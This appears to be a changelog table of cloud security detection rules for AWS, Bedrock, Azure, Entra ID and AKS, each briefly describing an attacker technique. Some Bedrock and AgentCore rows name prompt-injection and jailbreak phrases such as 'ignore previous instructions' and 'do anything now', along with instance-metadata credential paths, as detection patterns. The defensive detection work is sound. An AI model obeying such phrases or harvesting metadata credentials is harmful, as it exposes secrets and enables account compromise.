Identifies the first time an IAM principal passes a given execution role (`roleArn`) to an Amazon SageMaker resource, via `CreateNotebookInstance`, `CreateTrainingJob`, `CreateProcessingJob`, `CreateAutoMLJob`, or `CreatePipeline`. These actions require `iam:PassRole` and attach an IAM role that the created resource then runs as. An adversary holding both SageMaker create permissions and a broad `iam:PassRole` grant can pass a more privileged role to a resource they control and execute code as that role, escalating privileges. The rule keys on the combination of the calling principal and the passed `roleArn`, so it surfaces a principal using an execution role it has not used before in the last 7 days; a role whose account differs from the caller's, or that is more privileged than the caller, is especially suspicious. | update | 2 + +|<> | Identifies when the STS AssumeRoot action is performed by a rare user in AWS. The AssumeRoot action allows users to assume the root member account role, granting elevated but specific permissions based on the task policy specified. Adversaries who have compromised user credentials can use this technique to escalate privileges and gain unauthorized access to AWS resources. This is a New Terms rule that identifies when the STS AssumeRoot action is performed by a user that rarely assumes this role against a specific member account. | update | 10 + +|<> | Identifies successful calls to AWS STS GetFederationToken where request parameters reference AdministratorAccess. This API returns temporary security credentials for a federated user with permissions bounded by the calling IAM user and any inline session policy passed in the request. Supplying or referencing the AWS managed AdministratorAccess policy (or an equivalent string in the policy payload) can grant broadly privileged temporary credentials and may indicate privilege abuse or dangerous automation. | update | 2 + +|<> | Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). | update | 7 + +|<> | Detects the first time an AWS identity requests a service quota increase via the AWS Service Quotas API within a 7-day history window. Service quota increases are submitted to AWS Support and, when approved, raise the limits on EC2 instances, Lambda concurrency, VPC resources, and other services. An adversary who obtains AWS credentials may request quota increases as infrastructure preparation for large-scale cryptomining, DDoS amplification, phishing campaigns, or data exfiltration operations that require compute or network resources beyond the account's current limits. | update | 2 + +|<> | Detects when account-level email sending is explicitly enabled in Amazon SES, via the v1 UpdateAccountSendingEnabled API with Enabled: true or the v2 PutAccountSendingAttributes API with SendingEnabled: true. Account-level sending is commonly paused by an administrator, or by automation wired to CloudWatch reputation alarms when bounce or complaint rates rise. An attacker who compromises an AWS account may re-enable sending to restore a paused capability as part of phishing infrastructure setup, allowing bulk email under the victim organization's trusted sending domain. Neither API can resume sending that AWS itself has paused. | update | 2 + +|<> | Detects an SES email identity being verified and subsequently deleted within a 30-minute window, performed by the same AWS identity. Amazon SES requires email addresses and domains to be verified before they can be used as senders. An adversary who obtains SES credentials may verify a domain or address they control, use it to send phishing or spam email, then delete the identity to remove evidence of the sending domain from the account's verified identity list. This verify-use-delete pattern is a recognized attacker technique for SES abuse. | update | 3 + +|<> | Identifies when an SNS topic is created by a user who does not typically perform this action. Adversaries may create SNS topics to stage capabilities for data exfiltration or other malicious activities. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 7 + +|<> | Identifies multiple AWS Bedrock executions in a one minute time window without guardrails by the same user in the same account over a session. Multiple consecutive executions implies that a user may be intentionally attempting to bypass security controls, by not routing the requests with the desired guardrail configuration in order to access sensitive information, or possibly exploit a vulnerability in the system. | update | 7 + +|<> | Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. | update | 10 + +|<> | Identifies multiple violations of AWS Bedrock guardrails within a single request, resulting in a block action, increasing the likelihood of malicious intent. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system. | update | 9 + +|<> | Detects repeated high-confidence 'BLOCKED' actions coupled with specific 'Content Filter' policy violation having codes such as 'MISCONDUCT', 'HATE', 'SEXUAL', INSULTS', 'PROMPT_ATTACK', 'VIOLENCE' indicating persistent misuse or attempts to probe the model's ethical boundaries. | update | 11 + +|<> | Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. | update | 9 + +|<> | Identifies multiple successive failed attempts to use denied model resources within AWS Bedrock. This could indicated attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. | update | 9 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'sensitive_information_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 7 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'topic_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 7 + +|<> | Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs. | update | 9 + +|<> | Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics. | update | 7 + +|<> | Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. | update | 2 + +|<> | Detects when a Bedrock model is prompted to invoke high-risk tools associated with shell execution, filesystem operations, or process spawning. Adversaries may use compromised AI agent pipelines or manipulated prompts to instruct the model to execute arbitrary system commands, read or write sensitive files, or spawn subprocesses — extending the blast radius of a credential compromise or prompt injection attack. | update | 3 + +|<> | Identifies prompts sent to an Amazon Bedrock AgentCore runtime that contain AWS access key identifiers (AKIA long-term or ASIA temporary/STS), Amazon Bedrock API keys (ABSK bearer tokens), or PEM-encoded private keys. The runtime application logs record the caller-supplied prompt; credentials embedded in a prompt are exposed to the model provider, persisted in observability logs, and may be returned in completions or used by downstream tools. This commonly indicates accidental secret leakage by a user or application, or an attempt to stage credentials for misuse through the agent. Secrets should never be passed to an agent in clear text. | update | 2 + +|<> | Identifies prompts sent to an Amazon Bedrock AgentCore runtime that attempt to harvest credentials or coerce the agent into exfiltrating data. The runtime application logs capture the caller-supplied prompt; this rule flags prompts that reference the cloud instance metadata service (169.254.169.254, the ECS task metadata address, or the "latest/meta-data" / "security-credentials" paths), prompts that name AWS access or secret keys directly, and prompt-injection or jailbreak language ("ignore previous instructions", "developer mode", "do anything now") combined with intent to reveal secrets, system prompts, or send data to an external endpoint. Asking an agent to read instance metadata credentials or to exfiltrate secrets is rarely legitimate and indicates an attempt to weaponize the agent for credential theft, even when the model refuses the request. | update | 2 + +|<> | Identifies when Azure Storage Account Blob public access is enabled, allowing external access to blob containers. This technique was observed in cloud ransom-based campaigns where threat actors modified storage accounts to expose non-remotely accessible accounts to the internet for data exfiltration. Adversaries abuse the Microsoft.Storage/storageAccounts/write operation to modify public access settings. | update | 3 + +|<> | Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. | update | 8 + +|<> | Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID, user principal object ID, and source ASN have not been seen doing this activity historically. | update | 9 + +|<> | Detects an identity creating or modifying the CoreDNS or kube-dns ConfigMap in the kube-system namespace on AKS (Azure Kubernetes Service), excluding known AKS control-plane and platform identities. Rewriting cluster DNS (by editing coredns/kube-dns or creating and editing coredns-custom) enables cluster-wide adversary-in-the-middle by redirecting internal service resolution to attacker-controlled IPs, allowing credential capture and traffic interception. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token is not excluded. | update | 2 + +|<> | Detects an identity creating a client-authentication CertificateSigningRequest (signer kubernetes.io/kube-apiserver-client) or approving a CSR on AKS (Azure Kubernetes Service), excluding node bootstrap and platform controllers. Adversaries submit and self-approve a CSR against the kube-apiserver-client signer to mint a long-lived client certificate for an arbitrary subject (for example a Common Name in system:masters), giving durable authenticated access that survives token revocation. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token forging a certificate is not excluded. | update | 2 + +|<> | Detects successful AKS (Azure Kubernetes Service) secret get or list operations where the user agent matches scripting runtimes (python, ruby, perl), command-line HTTP clients (curl, wget, HTTPie), or generic HTTP libraries (Go-http-client, okhttp, Apache-HttpClient, Guzzle, axios, undici) rather than typical kubectl or named controller traffic. Reading Kubernetes secrets with a generic client is a common credential-access step after a token or kubeconfig is stolen, and offensive tooling (for example peirates and kdigger) frequently reaches the API with a default Go HTTP client. | update | 2 + +|<> | Detects an identity minting a service account token via the AKS (Azure Kubernetes Service) TokenRequest API (serviceaccounts/token), excluding known AKS control-plane and platform identities. Adversaries request service account tokens from a compromised identity to impersonate a workload, move laterally, or escalate privileges within the cluster. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token minting a token for another service account is not excluded. | update | 2 + +|<> | Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. | update | 7 + +|<> | Detects when a service principal authenticates to Microsoft Entra ID and then lists credentials for an Azure Arc-connected Kubernetes cluster within a short time window. The `listClusterUserCredential` action retrieves tokens that enable kubectl access through the Arc Cluster Connect proxy. This sequence (service principal sign-in followed by Arc credential retrieval), represents the exact attack chain used by adversaries with stolen service principal secrets to establish a proxy tunnel into Kubernetes clusters. Service principals that authenticate externally (as opposed to managed identities) and immediately access Arc cluster credentials warrant investigation, particularly when the sign-in originates from an unexpected location or ASN. | update | 4 + +|<> | Identifies unusual high-privileged access to Azure Storage Account keys by users with Owner, Contributor, or Storage Account Contributor roles. This technique was observed in STORM-0501 ransomware campaigns where compromised identities with high-privilege Azure RBAC roles retrieved access keys to perform unauthorized operations on Storage Accounts. Microsoft recommends using Shared Access Signature (SAS) models instead of direct key access for improved security. This rule detects when a user principal with high-privilege roles accesses storage keys for the first time in 7 days. | update | 3 + +|<> | Identifies retrieval of Azure VM boot diagnostics data ("MICROSOFT.COMPUTE/VIRTUALMACHINES/RETRIEVEBOOTDIAGNOSTICSDATA/ACTION") by an identity that has not performed this operation recently. Boot diagnostics expose the VM serial console log and a console screenshot, which frequently contain plaintext boot-time output such as credentials, tokens, cloud-init/agent secrets, and command history. An adversary with VM read/contributor rights can retrieve this data over the control plane, without logging into the guest or touching the network, to harvest credentials. | update | 2 + +|<> | Correlates a successful Entra ID device-code sign-in to the legacy Azure AD Graph audience (00000002-0000-0000-c000-000000000000) from an unmanaged device with directory enumeration against graph.windows.net by the same user within a short window. Device-code phishing is the dominant OAuth phishing variant against Microsoft tenants: the adversary initiates the flow, relays the user-facing code to the victim, and on redemption walks away with an access or refresh token bound to the targeted resource without ever handling the user's password or MFA factor. When the redeemed audience is AAD Graph and the redeeming device is unmanaged, the follow-on Graph traffic is the compromised cloud account being used by the attacker, not by the user. This rule fires when that token is immediately turned around against the directory under the same identity to read user, group, service principal, application, role assignment, directory object, policy, OAuth permission grant, or tenant detail collections. | update | 2 + +|<> | Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. | update | 10 + +|<> | Identifies a high count of failed Microsoft Entra ID sign-in attempts as the result of the target user account being locked out. Adversaries may attempt to brute-force user accounts by repeatedly trying to authenticate with incorrect credentials, leading to account lockouts by Entra ID Smart Lockout policies. | update | 9 + +|<> | Detects a first-party FOCI tooling client (Azure CLI, PowerShell, VS Code, Graph CLI, Azure AD PowerShell, or Visual Studio) redeeming a device-bound Primary Refresh Token (PRT) for Microsoft Graph, SharePoint/OneDrive, or Exchange Online from an IP that is not among that user and device's Windows Sign-In or WAM addresses. Replay events are limited to compliant or Intune-managed devices: the stolen cookie keeps the workstation deviceid, so compliant-device Conditional Access can succeed off-box. | update | 2 + +|<> | Detects a first-party FOCI tooling client (Azure CLI, PowerShell, VS Code, Graph CLI, Azure AD PowerShell, or Visual Studio) redeeming a device-bound Primary Refresh Token (PRT) for Microsoft Graph, SharePoint/OneDrive, or Exchange Online from a source IP that has not been seen with that deviceid. Replay events are limited to compliant or Intune-managed devices. Adversaries who steal a WAM PRT SSO cookie replay it off-box; the token keeps the workstation deviceid, so this pair is new even when Windows Sign-In for that device is outside a correlation window. | update | 2 + +|<> | Identifies potential OAuth client ID spoofing in Microsoft Entra ID sign-in logs. Adversaries submit fabricated or non-existent application identifiers (client IDs) in Resource Owner Password Credentials (ROPC) authentication requests to the token endpoint. Because Entra ID validates the submitted credential before rejecting the request on application resolution, the resulting error code acts as a credential- and account-validity oracle while never producing a successful sign-in. By fragmenting attempts across many fictional application identifiers, adversaries evade per-application detections, rate limiting, and application-scoped Conditional Access. This rule detects a ROPC authentication that fails with error code 700016 (application not found in the directory) where no application display name resolves, which is characteristic of a spoofed client ID used for stealthy user enumeration and password spraying. | update | 2 + +|<> | Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. | update | 112 + +|<> | Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. | update | 10 + +|<> | Identifies brute force attempts against Azure Entra multi-factor authentication (MFA) Time-based One-Time Password (TOTP) verification codes. This rule detects high frequency failed TOTP code attempts for a single user in a short time-span with a high number of distinct session IDs. Adversaries may programmatically attemopt to brute-force TOTP codes by generating several sessions and attempt to guess the correct code. | update | 10 + +|<> | Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. | update | 10 + +|<> | Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. | update | 6 + +|<> | Identifies potential full network packet capture in Azure. Packet Capture is an Azure Network Watcher feature that can be used to inspect network traffic. This feature can potentially be abused to read sensitive data from unencrypted internal traffic. | update | 111 + +|<> | Identifies a rotation to storage account access keys in Azure. Regenerating access keys can affect any applications or Azure services that are dependent on the storage account key. Adversaries may regenerate a key as a means of acquiring credentials to access systems and resources. | update | 108 + +|<> | Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. | update | 109 + +|<> | Detects an identity deleting Kubernetes events on AKS (Azure Kubernetes Service), excluding known AKS control-plane and platform identities. Adversaries delete events (individually or in bulk via deletecollection) to remove evidence of pod creation, exec, or scheduling activity and impair incident response after operating in the cluster. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token wiping events is not excluded. | update | 2 + +|<> | Identifies the first observed instance of a Microsoft first-party public client application acquiring a Microsoft Graph token using single-factor (password-only) authentication while an MFA Conditional Access grant control went unenforced, for a given user, application, and source autonomous system (ASN). This pattern is associated with the Conditional Access "resource exclusion" bypass: when a tenant's "all resources" Conditional Access policy contains at least one application exclusion, Entra ID issues tokens for low-privilege baseline scopes (User.Read, openid, profile, email) to any resource, including Microsoft Graph, without enforcing the policy's grant controls (such as MFA). An adversary holding only a stolen password can therefore obtain a Graph token through a trusted first-party public client (for example, Microsoft Bing Search) and enumerate directory objects, even though the tenant requires MFA. Critically, the overall conditional_access_status is never "failure" for this technique (the sign-in is not blocked); it is reported as "success" or "notApplied" depending on what other policies exist in the tenant, so detections that key on Conditional Access failures will not observe it. The reliable fingerprint is in the per-policy results: a policy whose enforced grant control is MFA reports a result of "notApplied" for this sign-in, meaning the MFA requirement was silently not enforced while the single-factor, password-only sign-in still succeeded. | update | 2 + +|<> | Identifies a Microsoft Entra ID sign-in that is satisfied by a phishing-resistant, device-bound credential (Windows Hello for Business, FIDO2 security key, or passkey) while carrying no device identifier. Windows Hello for Business (WHfB) and passkey credentials are bound to a device's TPM, so a genuine sign-in with one of these methods is normally accompanied by the registered device it lives on. A WHfB or passkey assertion that authenticates with an empty `device_detail.device_id` indicates the underlying key material is being used away from its bound device, for example by an adversary who extracted the key (or signed an assertion with it) and replayed it from attacker infrastructure to mint device-agnostic tokens. This is the core primitive of the "borrowing Windows Hello keys" technique and is a strong precursor to attacker device registration and Primary Refresh Token (PRT) issuance. Cross-tenant (B2B) sign-ins are excluded because they are a common benign source of empty device identifiers. | update | 2 + +|<> | Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. | update | 110 + +|<> | Identifies the deletion of diagnostic settings in Azure, which send platform logs and metrics to different destinations. An adversary may delete diagnostic settings in an attempt to evade defenses. | update | 110 + +|<> | Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. | update | 110 + +|<> | Identifies the deletion of a firewall policy in Azure. An adversary may delete a firewall policy in an attempt to evade defenses and/or to eliminate barriers to their objective. | update | 109 + +|<> | Identifies the deletion of a Frontdoor Web Application Firewall (WAF) Policy in Azure. An adversary may delete a Frontdoor Web Application Firewall (WAF) Policy in an attempt to evade defenses and/or to eliminate barriers to their objective. | update | 109 + +|<> | Identifies the deletion of a Network Watcher in Azure. Network Watchers are used to monitor, diagnose, view metrics, and enable or disable logs for resources in an Azure virtual network. An adversary may delete a Network Watcher in an attempt to evade defenses. | update | 110 + +|<> | Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. | update | 110 + +|<> | Identifies when the Azure role-based access control (Azure RBAC) permissions are modified for an Azure Blob. An adversary may modify the permissions on a blob to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. | update | 111 + +|<> | Detects an unusually high ratio of 4xx HTTP responses from Azure AD Graph (graph.windows.net) per calling identity in a short window. Post-identity compromise leading to recon often leaves a tail of 403s and 404s as tooling walks endpoints it does not have permission for, asks for object IDs it does not have, or uses an OAuth client that has been pulled off the AAD Graph allow-list. Surges or an unexpected ratio of 4xx responses concentrated on a single (user and ASN) pair are characteristic of automated tooling rather than human or first-party traffic. | update | 2 + +|<> | Detects an Azure AD Graph (graph.windows.net) burst from a user-agent identifying as "aiohttp" (the default HTTP library used by ROADrecon's "gather" command) where a single calling identity issues many requests in a short window. ROADrecon walks every interesting directory object type via aiohttp, producing a large volume of requests from one user / source IP / UA triple. The combination of "aiohttp" UA with a burst threshold is a structural ROADrecon signature; legitimate first-party Microsoft components do not identify as aiohttp. | update | 3 + +|<> | Identifies Azure AD Graph (graph.windows.net) requests originating from user-agent strings associated with offensive tooling, scripting libraries, or generic HTTP clients. First-party Microsoft components calling AAD Graph identify with specific user agents such as "Microsoft Azure Graph Client Library", "Microsoft ADO.NET Data Services", or "Microsoft.OData.Client". Anything outside that recognised set is either a developer prototyping against the legacy API or an enumeration tool walking the directory. | update | 4 + +|<> | Identifies Azure AD Graph (graph.windows.net) requests where the combination of calling OAuth client ("azure.aadgraphactivitylogs.properties.app_id") and signed-in user ("user.id") has not been observed in the tenant in a historical window. A user appearing against AAD Graph under an OAuth client that has not previously authenticated that user is a sign of a FOCI swap, a phished refresh token being redeemed for a new client, or an adversary running tooling under a client identity the user does not normally use. | update | 2 + +|<> | Detects a single Kubernetes identity in AKS (Azure Kubernetes Service) that is denied (HTTP 403 Forbidden) across multiple distinct API resource types within a short window. Broad authorization failures spanning many resources are a strong signal of API enumeration (reconnaissance with a stolen service account token), as an actor probes what its credentials can reach before privilege escalation. Detection is based on the breadth of denied resources rather than the raw failure count, so single-resource controller retry loops do not trigger it. | update | 2 + +|<> | Detects AKS (Azure Kubernetes Service) service account or node identities invoking self-subject access or rules review APIs. Non-human identities rarely enumerate their own permissions outside known controllers; this can indicate stolen tokens probing effective RBAC before privilege escalation. | update | 2 + +|<> | Identifies the first time an Azure Storage resource receives an anonymous data-plane read (GetBlob and related Get or List operations). Anonymous requests are used to probe public containers and to test stolen blob URLs before a SAS is appended. First-seen resource ID keeps volume down while still covering WireServer-related probes of status or extension blobs. | update | 2 + +|<> | Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. | update | 5 + +|<> | Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. | update | 5 + +|<> | Detects Microsoft Graph activity from delegated user tokens (public client, client_auth_method 0) where a single user session and source IP rapidly touches multiple high-value Graph paths indicative of reconnaissance. The query classifies requests into categories such as role discovery, cross-tenant relationship queries, mailbox paths, contact harvesting, and organization or licensing metadata. When three or more distinct categories appear within a short burst window, it suggests a broad enumeration playbook rather than normal application traffic. | update | 2 + +|<> | Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously. | update | 109 + +|<> | Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. | update | 109 + +|<> | Detects an identity injecting an ephemeral (debug) container into a running AKS (Azure Kubernetes Service) pod via the pods/ephemeralcontainers subresource, excluding known AKS control-plane and platform identities. Ephemeral containers share the target pod's namespaces and give stealthy interactive access to its processes and mounted secrets without creating a new pod. Coverage includes workload service accounts (system:serviceaccount:*), so a compromised in-cluster token used to attach a debug container is not excluded. | update | 2 + +|<> | Detects use of the AKS (Azure Kubernetes Service) API server nodes/proxy subresource to reach a node's Kubelet command-execution endpoints (run, exec, attach, portforward, cri). Unlike benign monitoring that scrapes /metrics and /stats, a request to these endpoints executes commands inside a pod on the node, the core of the kubeletctl and Peirates lateral-movement technique. Even a GET to /exec is command execution because the Kubelet maps the WebSocket upgrade handshake to the RBAC get verb, so nodes/proxy GET is sufficient for remote code execution. | update | 2 + +|<> | Detects an AKS (Azure Kubernetes Service) identity establishing an exec session into a pod. Interactive command execution inside a workload via kubectl exec is a common post-compromise technique used to access secrets, run tooling, and expand access from a foothold container. Node, control-plane, and kube-system service account identities are excluded, so workload service accounts and users, the identities an adversary is most likely to abuse, remain in scope. | update | 2 + +|<> | Identifies create, read, update, or delete (CRUD) operations against Azure VM or VM scale set extensions ("MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/*" or the scale set equivalent) where the combination of the targeted extension resource name and the source autonomous system (AS) number has not been observed recently. VM extensions such as CustomScript and DSC run with high privilege on the guest (SYSTEM on Windows, root on Linux), so writing, modifying, or removing them is a common code-execution and persistence primitive. By keying a new terms approach on the extension resource name and the source AS number, this rule surfaces extension operations originating from networks that have not historically managed that extension, while routine first-party Microsoft automation (which originates from well-known Microsoft AS numbers) is excluded. | update | 2 + +|<> | Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given (host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a host routinely uses. | update | 2 + +|<> | Identifies the creation or update of a managed Azure Run Command resource ("MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMANDS/WRITE" or the virtual machine scale set equivalent) by an identity that has not performed this operation recently. Unlike the action-based Run Command ("runCommand/action"), the managed Run Command is a persistent resource on the VM whose creation or update executes the supplied script as System (Windows) or root (Linux). Because creating a managed run command both executes code and leaves a durable object, adversaries can use it as an alternative to the action invocation to evade detections that only watch "runCommand/action". Alerting on the first time a given principal performs this operation surfaces unusual or unauthorized use while suppressing routine automation that repeatedly manages the same run commands. | update | 2 + +|<> | Identifies synchronous command execution on a virtual machine (VM) or virtual machine scale set (VMSS) in Azure via the action-based Run Command ("runCommand/action"). A Virtual Machine Contributor role lets you manage virtual machines, but not access them, nor access the virtual network or storage account they’re connected to. However, commands can be run on the VM via the Run Command feature, which execute as System (Windows) or root (Linux). Other roles, such as certain Administrator roles, may be able to execute commands on a VM as well. | update | 110 + +|<> | Identifies successful GetBlob operations on Azure Storage Accounts using AzCopy user agent with SAS token authentication. AzCopy is a command-line utility for copying data to and from Azure Storage. While legitimate for data migration, adversaries may abuse AzCopy with compromised SAS tokens to exfiltrate data from Azure Storage Accounts. This rule detects the first occurrence of GetBlob operations from a specific storage account using this pattern. | update | 4 + +|<> | Identifies the deletion of Azure Restore Point Collections by a user who has not previously performed this activity. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Adversaries may delete these collections to prevent recovery during ransomware attacks or to cover their tracks during malicious operations. | update | 3 + +|<> | Identifies multiple Azure Restore Point Collections being deleted by a single user within a short time period. Restore Point Collections contain recovery points for virtual machines, enabling point-in-time recovery capabilities. Mass deletion of these collections is a common tactic used by adversaries during ransomware attacks to prevent victim recovery or to maximize impact during destructive operations. Multiple deletions in rapid succession may indicate malicious intent. | update | 3 + +|<> | Identifies when an Azure disk snapshot is deleted by an unusual user in a specific resource group. Snapshots are critical for backup, disaster recovery, and forensic analysis. Adversaries may delete snapshots to prevent data recovery, eliminate forensic evidence, or disrupt backup strategies before executing ransomware or other destructive attacks. Monitoring snapshot deletions is essential for detecting potential attacks targeting backup and recovery capabilities. | update | 3 + +|<> | Identifies when a single user or service principal deletes multiple Azure disk snapshots within a short time period. This behavior may indicate an adversary attempting to inhibit system recovery capabilities, destroy backup evidence, or prepare for a ransomware attack. Mass deletion of snapshots eliminates restore points and significantly impacts disaster recovery capabilities, making it a critical indicator of potentially malicious activity. | update | 3 + +|<> | Identifies when an Azure Storage Account is deleted. Adversaries may delete storage accounts to disrupt operations, destroy evidence, or cause denial of service. This activity could indicate an attacker attempting to cover their tracks after data exfiltration or as part of a destructive attack. Monitoring storage account deletions is critical for detecting potential impact on business operations and data availability. | update | 3 + +|<> | Identifies when a single user or service principal deletes multiple Azure Storage Accounts within a short time period. This behavior may indicate an adversary attempting to cause widespread service disruption, destroy evidence, or execute a destructive attack such as ransomware. Mass deletion of storage accounts can have severe business impact and is rarely performed by legitimate administrators except during controlled decommissioning activities. | update | 3 + +|<> | Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. | update | 110 + +|<> | Identifies the deletion of Azure Kubernetes Pods. Adversaries may delete a Kubernetes pod to disrupt the normal behavior of the environment. | update | 109 + +|<> | Identifies the deletion of a resource group in Azure, which includes all resources within the group. Deletion is permanent and irreversible. An adversary may delete a resource group in an attempt to evade defenses or intentionally destroy data. | update | 110 + +|<> | Identifies Azure AD Graph (graph.windows.net) requests originating from network sources outside the major public-cloud and Microsoft ASNs that legitimate first-party callers normally come from. Adversary tooling typically rides on commodity hosting (residential ISPs, VPS providers, anonymisers) which produces an ASN distribution very different from the Microsoft / AWS / GCP / Akamai / Cloudflare ranges that dominate legitimate AAD Graph traffic. | update | 2 + +|<> | Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. | update | 4 + +|<> | 